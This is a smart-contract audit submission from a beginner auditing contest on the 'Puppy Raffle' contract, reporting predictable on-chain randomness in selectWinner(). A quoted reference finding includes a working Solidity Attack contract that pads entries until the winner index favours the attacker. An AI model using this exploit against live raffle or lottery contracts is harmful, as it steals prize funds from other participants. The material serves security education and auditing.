Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable on-chain randomness lets callers bias both the winner and NFT rarity

sonicthealpha

Root + Impact

Description

  • The raffle is supposed to choose a random winner and a random puppy rarity after the round ends.

  • Instead, selectWinner() derives its entropy from msg.sender, block.timestamp, and block.difficulty.

  • These values are predictable at execution time, and some are partially influenceable by the party submitting the transaction or by the block producer.

  • A participant can try different caller addresses or timing strategies, and a block builder can selectively include a favorable transaction, biasing both:

    • which player index wins the prize pool

    • which NFT rarity gets minted

function selectWinner() external {
...
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
}
​

Risk

Likelihood:

  • Callers can directly influence msg.sender.

  • Block timing and inclusion are not trustless randomness sources for adversarial settings.

Impact:

  • The raffle outcome is not fair or unpredictable.

  • Valuable prize distribution and NFT rarity assignment can be manipulated.

Proof of Concept

// 1. Attacker waits until the raffle is eligible to settle
// 2. Attacker simulates candidate outcomes off-chain for different caller addresses or timings
// 3. Attacker sends the transaction only when the computed winnerIndex or rarity is favorable
// 4. A block producer can further bias inclusion timing for profitable outcomes
​

Recommended Mitigation

For a production raffle, randomness should come from a verifiable external oracle rather than local block data.

-uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
-uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+// Use an unbiased external randomness source such as Chainlink VRF
+// and settle the raffle only after the randomness callback is fulfilled.
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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